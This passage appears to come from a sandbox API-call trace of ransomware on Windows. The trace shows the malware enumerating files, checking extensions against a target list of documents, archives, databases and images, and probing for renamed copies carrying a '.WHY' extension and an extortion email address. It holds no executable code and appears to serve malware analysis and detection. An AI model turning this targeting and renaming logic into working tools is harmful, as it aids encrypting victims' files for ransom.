(lpString1=".dbf", lpString2=".xml") returned -1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.963] lstrlenW (lpString=".1cd") returned 4 [0074.963] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.963] lstrlenW (lpString=".jpg") returned 4 [0074.963] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.963] lstrlenW (lpString=".doc") returned 4 [0074.963] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.963] lstrlenW (lpString=".docx") returned 5 [0074.963] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0074.963] lstrlenW (lpString=".pdf") returned 4 [0074.963] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.964] lstrlenW (lpString=".xls") returned 4 [0074.964] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.964] lstrlenW (lpString=".xlsx") returned 5 [0074.964] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0074.964] lstrlenW (lpString=".ppt") returned 4 [0074.964] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.964] lstrlenW (lpString=".zip") returned 4 [0074.964] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.964] lstrlenW (lpString=".rar") returned 4 [0074.964] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.964] lstrlenW (lpString=".bz2") returned 4 [0074.964] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.964] lstrlenW (lpString=".7z") returned 3 [0074.965] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.965] lstrlenW (lpString=".dbf") returned 4 [0074.965] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.965] lstrlenW (lpString=".1cd") returned 4 [0074.965] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0074.965] lstrlenW (lpString=".jpg") returned 4 [0074.965] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.966] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0074.966] lstrlenW (lpString="webbase.xml") returned 11 [0074.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0075.124] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1166) returned 1 [0075.124] CloseHandle (hObject=0x1e4) returned 1 [0075.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0075.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.125] lstrlenW (lpString=".doc") returned 4 [0075.125] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.125] lstrlenW (lpString=".docx") returned 5 [0075.125] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0075.125] lstrlenW (lpString=".pdf") returned 4 [0075.125] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.125] lstrlenW (lpString=".xls") returned 4 [0075.125] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.126] lstrlenW (lpString=".xlsx") returned 5 [0075.126] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0075.126] lstrlenW (lpString=".ppt") returned 4 [0075.126] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.126] lstrlenW (lpString=".zip") returned 4 [0075.126] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.126] lstrlenW (lpString=".rar") returned 4 [0075.126] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.126] lstrlenW (lpString=".bz2") returned 4 [0075.126] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.126] lstrlenW (lpString=".7z") returned 3 [0075.126] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.126] lstrlenW (lpString=".dbf") returned 4 [0075.127] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.127] lstrlenW (lpString=".1cd") returned 4 [0075.127] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.127] lstrlenW (lpString=".jpg") returned 4 [0075.127] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.127] lstrlenW (lpString=".doc") returned 4 [0075.127] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.127] lstrlenW (lpString=".docx") returned 5 [0075.128] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0075.128] lstrlenW (lpString=".pdf") returned 4 [0075.128] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.128] lstrlenW (lpString=".xls") returned 4 [0075.128] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.128] lstrlenW (lpString=".xlsx") returned 5 [0075.128] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0075.128] lstrlenW (lpString=".ppt") returned 4 [0075.128] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.128] lstrlenW (lpString=".zip") returned 4 [0075.128] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.128] lstrlenW (lpString=".rar") returned 4 [0075.129] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.129] lstrlenW (lpString=".bz2") returned 4 [0075.129] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.129] lstrlenW (lpString=".7z") returned 3 [0075.129] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.129] lstrlenW (lpString=".dbf") returned 4 [0075.129] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.129] lstrlenW (lpString=".1cd") returned 4 [0075.129] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0075.129] lstrlenW (lpString=".jpg") returned 4 [0075.129] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.130] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0075.130] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0075.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0075.132] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=46624) returned 1 [0075.132] CloseHandle (hObject=0x1e4) returned 1 [0075.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0075.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.133] lstrlenW (lpString=".doc") returned 4 [0075.133] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.133] lstrlenW (lpString=".docx") returned 5 [0075.133] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0075.133] lstrlenW (lpString=".pdf") returned 4 [0075.133] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.134] lstrlenW (lpString=".xls") returned 4 [0075.134] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.134] lstrlenW (lpString=".xlsx") returned 5 [0075.134] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0075.134] lstrlenW (lpString=".ppt") returned 4 [0075.134] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.134] lstrlenW (lpString=".zip") returned 4 [0075.134] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.134] lstrlenW (lpString=".rar") returned 4 [0075.134] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.134] lstrlenW (lpString=".bz2") returned 4 [0075.134] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.134] lstrlenW (lpString=".7z") returned 3 [0075.135] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.135] lstrlenW (lpString=".dbf") returned 4 [0075.135] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.135] lstrlenW (lpString=".1cd") returned 4 [0075.135] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.135] lstrlenW (lpString=".jpg") returned 4 [0075.135] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.136] lstrlenW (lpString=".doc") returned 4 [0075.136] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.136] lstrlenW (lpString=".docx") returned 5 [0075.136] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0075.136] lstrlenW (lpString=".pdf") returned 4 [0075.136] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.136] lstrlenW (lpString=".xls") returned 4 [0075.136] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.136] lstrlenW (lpString=".xlsx") returned 5 [0075.136] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0075.136] lstrlenW (lpString=".ppt") returned 4 [0075.136] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.136] lstrlenW (lpString=".zip") returned 4 [0075.137] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.137] lstrlenW (lpString=".rar") returned 4 [0075.137] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.137] lstrlenW (lpString=".bz2") returned 4 [0075.137] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.137] lstrlenW (lpString=".7z") returned 3 [0075.137] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.137] lstrlenW (lpString=".dbf") returned 4 [0075.137] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.137] lstrlenW (lpString=".1cd") returned 4 [0075.137] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0075.137] lstrlenW (lpString=".jpg") returned 4 [0075.138] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.138] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0075.138] lstrlenW (lpString="hwrenalm.dat") returned 12 [0075.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0075.188] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=747280) returned 1 [0075.188] CloseHandle (hObject=0x1a0) returned 1 [0075.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0075.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.189] lstrlenW (lpString=".doc") returned 4 [0075.189] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.189] lstrlenW (lpString=".docx") returned 5 [0075.189] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0075.189] lstrlenW (lpString=".pdf") returned 4 [0075.189] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.190] lstrlenW (lpString=".xls") returned 4 [0075.190] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.190] lstrlenW (lpString=".xlsx") returned 5 [0075.190] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0075.190] lstrlenW (lpString=".ppt") returned 4 [0075.190] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.190] lstrlenW (lpString=".zip") returned 4 [0075.190] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.190] lstrlenW (lpString=".rar") returned 4 [0075.190] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.190] lstrlenW (lpString=".bz2") returned 4 [0075.191] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.191] lstrlenW (lpString=".7z") returned 3 [0075.191] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.191] lstrlenW (lpString=".dbf") returned 4 [0075.191] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.191] lstrlenW (lpString=".1cd") returned 4 [0075.191] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.191] lstrlenW (lpString=".jpg") returned 4 [0075.191] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.191] lstrlenW (lpString=".doc") returned 4 [0075.192] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.192] lstrlenW (lpString=".docx") returned 5 [0075.192] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0075.192] lstrlenW (lpString=".pdf") returned 4 [0075.192] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.192] lstrlenW (lpString=".xls") returned 4 [0075.192] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.192] lstrlenW (lpString=".xlsx") returned 5 [0075.192] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0075.192] lstrlenW (lpString=".ppt") returned 4 [0075.192] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.192] lstrlenW (lpString=".zip") returned 4 [0075.192] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.192] lstrlenW (lpString=".rar") returned 4 [0075.192] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.192] lstrlenW (lpString=".bz2") returned 4 [0075.193] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.193] lstrlenW (lpString=".7z") returned 3 [0075.193] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.193] lstrlenW (lpString=".dbf") returned 4 [0075.193] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.193] lstrlenW (lpString=".1cd") returned 4 [0075.193] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0075.193] lstrlenW (lpString=".jpg") returned 4 [0075.193] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.194] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0075.194] lstrlenW (lpString="hwrenclm.dat") returned 12 [0075.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0075.420] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=815680) returned 1 [0075.420] CloseHandle (hObject=0x1c8) returned 1 [0075.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0075.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0075.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.421] lstrlenW (lpString=".doc") returned 4 [0075.421] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.421] lstrlenW (lpString=".docx") returned 5 [0075.421] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0075.421] lstrlenW (lpString=".pdf") returned 4 [0075.421] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.421] lstrlenW (lpString=".xls") returned 4 [0075.421] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.421] lstrlenW (lpString=".xlsx") returned 5 [0075.421] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0075.421] lstrlenW (lpString=".ppt") returned 4 [0075.421] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.422] lstrlenW (lpString=".zip") returned 4 [0075.422] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.422] lstrlenW (lpString=".rar") returned 4 [0075.422] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.422] lstrlenW (lpString=".bz2") returned 4 [0075.422] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.422] lstrlenW (lpString=".7z") returned 3 [0075.422] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.422] lstrlenW (lpString=".dbf") returned 4 [0075.422] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.422] lstrlenW (lpString=".1cd") returned 4 [0075.422] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.423] lstrlenW (lpString=".jpg") returned 4 [0075.423] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.423] lstrlenW (lpString=".doc") returned 4 [0075.423] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0075.423] lstrlenW (lpString=".docx") returned 5 [0075.423] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0075.423] lstrlenW (lpString=".pdf") returned 4 [0075.423] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0075.423] lstrlenW (lpString=".xls") returned 4 [0075.423] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0075.423] lstrlenW (lpString=".xlsx") returned 5 [0075.424] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0075.424] lstrlenW (lpString=".ppt") returned 4 [0075.424] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.424] lstrlenW (lpString=".zip") returned 4 [0075.424] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0075.424] lstrlenW (lpString=".rar") returned 4 [0075.424] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0075.424] lstrlenW (lpString=".bz2") returned 4 [0075.424] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0075.424] lstrlenW (lpString=".7z") returned 3 [0075.424] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.424] lstrlenW (lpString=".dbf") returned 4 [0075.424] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0075.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.424] lstrlenW (lpString=".1cd") returned 4 [0075.425] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0075.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0075.425] lstrlenW (lpString=".jpg") returned 4 [0075.425] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0075.445] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 